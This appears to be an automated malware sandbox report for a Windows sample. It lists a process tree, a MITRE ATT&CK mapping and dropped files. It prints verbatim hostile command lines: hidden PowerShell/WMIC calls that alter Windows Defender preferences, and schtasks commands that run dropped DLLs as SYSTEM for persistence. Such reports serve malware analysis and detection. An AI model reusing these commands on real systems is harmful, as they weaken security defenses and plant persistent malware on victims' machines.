C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_gx_splash.exe"C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_gx_splash.exe" --instance-name=dbff851fa759ccb33e726f883720ae502⤵
- Modifies registry class
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=renderer --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=3968,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:12⤵
- Checks computer location settings
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=renderer --extension-process --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=3924,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=3936 /prefetch:22⤵
- Checks computer location settings
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=renderer --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=3712,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:12⤵
- Checks computer location settings
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=renderer --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=3500,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:12⤵
- Checks computer location settings
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=renderer --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=2540,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:12⤵
- Checks computer location settings
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=renderer --extension-process --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2800,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:22⤵
- Checks computer location settings
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --enable-quic --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --field-trial-handle=4464,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:82⤵
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --enable-quic --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --field-trial-handle=4472,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=4148 /prefetch:82⤵
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\autoupdate\opera_autoupdate.exe"C:\Users\Admin\AppData\Local\Programs\Opera\autoupdate\opera_autoupdate.exe" --bypasslauncher --user-data-dir="C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Default" --pipeid=oauc_pipe2906202b27b41e4bd66c9238c4b575c12⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\autoupdate\opera_autoupdate.exeC:\Users\Admin\AppData\Local\Programs\Opera\autoupdate\opera_autoupdate.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Default" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Default\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Default\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ff62f01e7f4,0x7ff62f01e800,0x7ff62f01e8103⤵
-
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --enable-quic --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --field-trial-handle=5144,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=3252 /prefetch:82⤵
- Modifies registry class
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --enable-quic --no-appcompat-clear --start-stack-profiler --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --field-trial-handle=4352,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:32⤵
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=renderer --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=3772,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:12⤵
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=renderer --extension-process --no-appcompat-clear --with-feature:cashback-assistant=on --with-feature:installer-experiment-test=off --with-feature:installer-bypass-launcher=on --ab_tests=GROW-2836-test-3:GROW-2836 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=5676,i,17035948155510668375,9707366842733583947,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:22⤵
- Checks computer location settings
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\installer.exe"C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\installer.exe" --fix-taskbar-pins2⤵
-
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x478 0x4c81⤵
-
C:\Windows\Temp\qUDHiGcWmqaEfibr\GlgcQoiPCSwQOyx\YzgYtIm.exeC:\Windows\Temp\qUDHiGcWmqaEfibr\GlgcQoiPCSwQOyx\YzgYtIm.exe fx /mQsite_idYnI 385118 /S1⤵
- Checks computer location settings
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bgNHpsssZstYPMxCCI"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\uAxUdthdU\JEKlCD.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jPOTMwMCmHcirds" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "jPOTMwMCmHcirds2" /F /xml "C:\Program Files (x86)\uAxUdthdU\LsmRYFn.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "jPOTMwMCmHcirds"2⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "jPOTMwMCmHcirds"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "whNpKAYIgQFCYS" /F /xml "C:\Program Files (x86)\mGmtaSbzEpNU2\eowsLcu.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "VorZEZvfxDgAA2" /F /xml "C:\ProgramData\LzVMcwpfdAtFXBVB\BsTTILI.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "QlJRMvXkVaNCqnanL2" /F /xml "C:\Program Files (x86)\kGPyqjuOAqmAJMHnolR\ouBvknj.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "MZVwMBQmBZUQSHnTmpg2" /F /xml "C:\Program Files (x86)\amAbAfOnXOhKC\OlCYERt.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "iQotdfZjyOUckLeEG" /SC once /ST 03:28:42 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\qUDHiGcWmqaEfibr\WKftJGRc\CUEbKkg.dll\",#1 /wysite_idEkW 385118" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "iQotdfZjyOUckLeEG"2⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "hRnwO1" /SC once /ST 05:38:45 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Programs\Opera\launcher.exe\" --restore-last-session"2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "hRnwO1"2⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "hRnwO1"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "eMHQCETsWPnVYjMqf"2⤵
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\autoupdate\opera_autoupdate.exeC:\Users\Admin\AppData\Local\Programs\Opera\autoupdate\opera_autoupdate.exe --scheduledtask --bypasslauncher --requesttype=automatic --scheduledtask --bypasslauncher --pipeid=oauc_task_pipedcbb8f53eff625f232ff45d7644762171⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\autoupdate\opera_autoupdate.exeC:\Users\Admin\AppData\Local\Programs\Opera\autoupdate\opera_autoupdate.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff62f01e7f4,0x7ff62f01e800,0x7ff62f01e8102⤵
-
-
C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\qUDHiGcWmqaEfibr\WKftJGRc\CUEbKkg.dll",#1 /wysite_idEkW 3851181⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\qUDHiGcWmqaEfibr\WKftJGRc\CUEbKkg.dll",#1 /wysite_idEkW 3851182⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "iQotdfZjyOUckLeEG"3⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 7036 -ip 70361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 7040 -ip 70401⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3016 -ip 30161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3016 -ip 30161⤵
-
C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exeC:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 716 -s 5242⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5352 -ip 53521⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
3Registry Run Keys / Startup Folder
2Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
3Registry Run Keys / Startup Folder
2Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Defense Evasion
Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
7Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
1Replay Monitor
Loading Replay Monitor...
Downloads
{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
Are.docx
mozglue.dll
messages.json
messages.json
messages.json
Preferences
Secure Preferences
powershell.exe.log
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
ficon128.png
icon128.png
icon16.png
icon48.png
manifest.json
Preferences
StartupProfileData-NonInteractive
Opera Browser.lnk
Assistant_108.0.5067.20_Setup.exe_sfx.exe
assistant_installer.exe
dbgcore.dll
dbghelp.dll
installer_prefs_include.json
installer_prefs_include.json
installer_prefs_include.json.backup
opera_package
1156618644.exe
2305617441.exe
Install.exe
amdfendrsr.exe
bootim.exe
1.exe
123p.exe
DemagogicAlewife.exe
ISetup10.exe
Ljauypuypg.exe
Max.exe
Pac-Man.exe
Pgp-Soft.exe
Pparetcoju.exe
Tinder%20Bot.exe
TvipY.exe
USA123.exe
XClient.exe
afile.exe
ama.exe
bin.exe
dusers.exe
gate3_64.exe
goldqwer12.exe
kb%5Efr_ouverture.exe
koooooo.exe
laryyyyy.exe
lumma21.exe
mQxBvlTA.exe
net.exe
new.exe
npp.exe
output_64.exe
sarra.exe
svchost.exe
swizzyyyy.exe
un300un.exe
update.exe
virus.exe
wininit.exe
yoffens_crypted_EASY.exe
Opera_installer_2404091034192552912.dll
__PSScriptPolicyTest_s1rwh4mq.e3b.ps1
nds.exe
ioloDMLog.txt
ioloDMLog.txt
tmp7111.tmp
tmp7199.tmp
tmp71AD.tmp
tmp7247.tmp
tmp725D.tmp
tmp7262.tmp
tmp72FA.tmp
u3ts.0.exe
u3ts.1.exe
cacert.pem
client.exe
launch.bat
Microsoft.VC90.CRT.manifest
_hashlib.pyd
_socket.pyd
_ssl.pyd
bz2.pyd
msvcm90.dll
msvcp90.dll
msvcr90.dll
python27.dll
pywintypes27.dll
select.pyd
unicodedata.pyd
win32api.pyd
win32event.pyd
0f5007522459c86e95ffcc62f32308f1_54283972-31eb-44bb-adba-4e057460c33c
0f5007522459c86e95ffcc62f32308f1_54283972-31eb-44bb-adba-4e057460c33c
prefs.js
settings.dat
messages.json
Preferences
Preferences
Preferences
Preferences~RFe5888c3.TMP
Secure Preferences
CURRENT
MANIFEST-000001
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw
session_e37b7939-03b1-4fc5-b00c-ddec9319ec11.raw~RFe58d387.TMP
ssdfp868.0.1147250081
ssdfp868.0.1147250081
ssdfp868.0.1147250081
ssdfp868.0.1147250081
ssdfp868.0.1147250081
ssdfp868.0.1147250081
ssdfp868.0.1147250081
ssdfp868.0.1147250081
ssdfp868.0.1147250081
ssdfp868.0.1147250081
ssdfp868.0.1147250081
ssdfp868.0.1147250081
ssdfp868.0.1147250081~RFe590e8d.TMP
ssdfp868.1.1478024061
ssdfp868.1.1478024061
ssdfp868.1.1478024061
ssdfp868.1.1478024061
ssdfp868.1.1478024061
ssdfp868.1.1478024061
ssdfp868.1.1478024061~RFe590fc5.TMP
data_0
data_1
data_2
data_3
Local State
Local State
Local State
Local State~RFe5888c3.TMP
newss.exe
traffic.exe
GebNSFFmC2IyLgIvdc8o72uq.exe
GebNSFFmC2IyLgIvdc8o72uq.exe
GebNSFFmC2IyLgIvdc8o72uq.exe
Lbv5KBBrB5y7UJ5SxQnQE4UF.exe
PaNtNvMm5tOUysarsXId80A9.exe
khJ8yxpxNreIf5tKqTEptNyw.exe
tOybZGVEroDMHSV1bPEYqroh.exe
wTvZOwd27ORC24c43yPiOkEq.exe
desktop.ini
tbtnds.dat
powershell.exe.log
StartupProfileData-Interactive
bgNHpsssZstYPMxCCI.job
sysdinrdvs.exe
syspplsvc.exe
winakrosvsa.exe
memory/1196-1364-0x0000000000400000-0x0000000002D22000-memory.dmp
memory/1196-1356-0x0000000004950000-0x0000000004977000-memory.dmp
memory/1196-1355-0x0000000002FB0000-0x00000000030B0000-memory.dmp
memory/1664-4-0x00000000744E0000-0x0000000074C90000-memory.dmp
memory/1664-0-0x0000000000A50000-0x0000000000A58000-memory.dmp
memory/1664-1-0x00000000744E0000-0x0000000074C90000-memory.dmp
memory/1664-2-0x0000000005410000-0x00000000054AC000-memory.dmp
memory/1664-28-0x00000000055A0000-0x00000000055B0000-memory.dmp
memory/1664-3-0x00000000055A0000-0x00000000055B0000-memory.dmp
memory/1716-1275-0x00000000051F0000-0x0000000005ADB000-memory.dmp
memory/1716-1283-0x0000000000400000-0x0000000003105000-memory.dmp
memory/1716-1270-0x0000000004DF0000-0x00000000051E9000-memory.dmp
memory/2160-1292-0x0000000005390000-0x00000000053C6000-memory.dmp
memory/2160-1299-0x0000000005A00000-0x0000000005A66000-memory.dmp
memory/2160-1329-0x0000000005510000-0x0000000005520000-memory.dmp
memory/2160-1310-0x0000000006560000-0x00000000065C6000-memory.dmp
memory/2160-1311-0x0000000005510000-0x0000000005520000-memory.dmp
memory/2160-1296-0x00000000744E0000-0x0000000074C90000-memory.dmp
memory/2172-1297-0x0000000002760000-0x0000000002770000-memory.dmp
memory/2172-1293-0x0000000004E10000-0x0000000005438000-memory.dmp
memory/2172-1305-0x0000000002760000-0x0000000002770000-memory.dmp
memory/2172-1298-0x0000000004BD0000-0x0000000004BF2000-memory.dmp
memory/2172-1382-0x0000000006100000-0x0000000006144000-memory.dmp
memory/2172-1295-0x00000000744E0000-0x0000000074C90000-memory.dmp
memory/2172-1343-0x0000000005E50000-0x0000000005E9C000-memory.dmp
memory/2172-1328-0x00000000057A0000-0x0000000005AF4000-memory.dmp
memory/2172-1336-0x0000000005B80000-0x0000000005B9E000-memory.dmp
memory/2424-118-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2424-120-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2424-111-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2424-1291-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2736-1290-0x0000000005120000-0x0000000005130000-memory.dmp
memory/2736-1285-0x0000000000780000-0x000000000083A000-memory.dmp
memory/2736-1288-0x00000000744E0000-0x0000000074C90000-memory.dmp
memory/3248-66-0x0000000000400000-0x0000000001809000-memory.dmp
memory/3248-33-0x0000000000400000-0x0000000001809000-memory.dmp
memory/3248-32-0x0000000000400000-0x0000000001809000-memory.dmp
memory/3248-31-0x00000000019A0000-0x00000000019A1000-memory.dmp
memory/3256-1287-0x0000000000400000-0x0000000003105000-memory.dmp
memory/3256-1286-0x00000000051A0000-0x0000000005A8B000-memory.dmp
memory/3256-1289-0x0000000004C90000-0x0000000005093000-memory.dmp
memory/3596-82-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-41-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-108-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-112-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-1189-0x0000000006650000-0x00000000066EA000-memory.dmp
memory/3596-105-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-58-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-103-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-101-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-1190-0x00000000066F0000-0x000000000673C000-memory.dmp
memory/3596-121-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-27-0x0000000000F80000-0x0000000001012000-memory.dmp
memory/3596-99-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-1204-0x00000000744E0000-0x0000000074C90000-memory.dmp
memory/3596-96-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-93-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-1188-0x0000000006480000-0x0000000006481000-memory.dmp
memory/3596-88-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-30-0x0000000005800000-0x0000000005810000-memory.dmp
memory/3596-90-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-69-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-29-0x00000000744E0000-0x0000000074C90000-memory.dmp
memory/3596-75-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-85-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-1245-0x0000000005800000-0x0000000005810000-memory.dmp
memory/3596-78-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-35-0x0000000006350000-0x0000000006460000-memory.dmp
memory/3596-36-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-117-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-37-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-80-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-73-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-45-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-49-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-51-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-53-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-39-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-47-0x0000000006350000-0x000000000645A000-memory.dmp
memory/3596-43-0x0000000006350000-0x000000000645A000-memory.dmp
memory/4780-94-0x00000000058F0000-0x0000000005982000-memory.dmp
memory/4780-72-0x0000000000BE0000-0x0000000000C42000-memory.dmp
memory/4780-86-0x00000000056B0000-0x0000000005714000-memory.dmp
memory/4780-71-0x00000000744E0000-0x0000000074C90000-memory.dmp
memory/4780-122-0x00000000744E0000-0x0000000074C90000-memory.dmp
memory/4780-83-0x00000000054A0000-0x00000000054B0000-memory.dmp
memory/4780-97-0x0000000005850000-0x0000000005856000-memory.dmp
memory/4780-77-0x0000000002C70000-0x0000000002C76000-memory.dmp
memory/4780-91-0x0000000005E00000-0x00000000063A4000-memory.dmp
memory/4784-1206-0x0000000005750000-0x0000000005760000-memory.dmp
memory/4784-1205-0x00000000744E0000-0x0000000074C90000-memory.dmp
memory/4784-1203-0x0000000000400000-0x0000000000408000-memory.dmp
memory/4784-1352-0x00000000744E0000-0x0000000074C90000-memory.dmp
memory/4784-1385-0x0000000005750000-0x0000000005760000-memory.dmp
memory/4936-1396-0x0000000000A40000-0x0000000000A41000-memory.dmp
memory/4960-1248-0x0000000000400000-0x0000000002D45000-memory.dmp
memory/4960-1246-0x0000000002F60000-0x0000000003060000-memory.dmp
memory/4960-1247-0x0000000002ED0000-0x0000000002F3C000-memory.dmp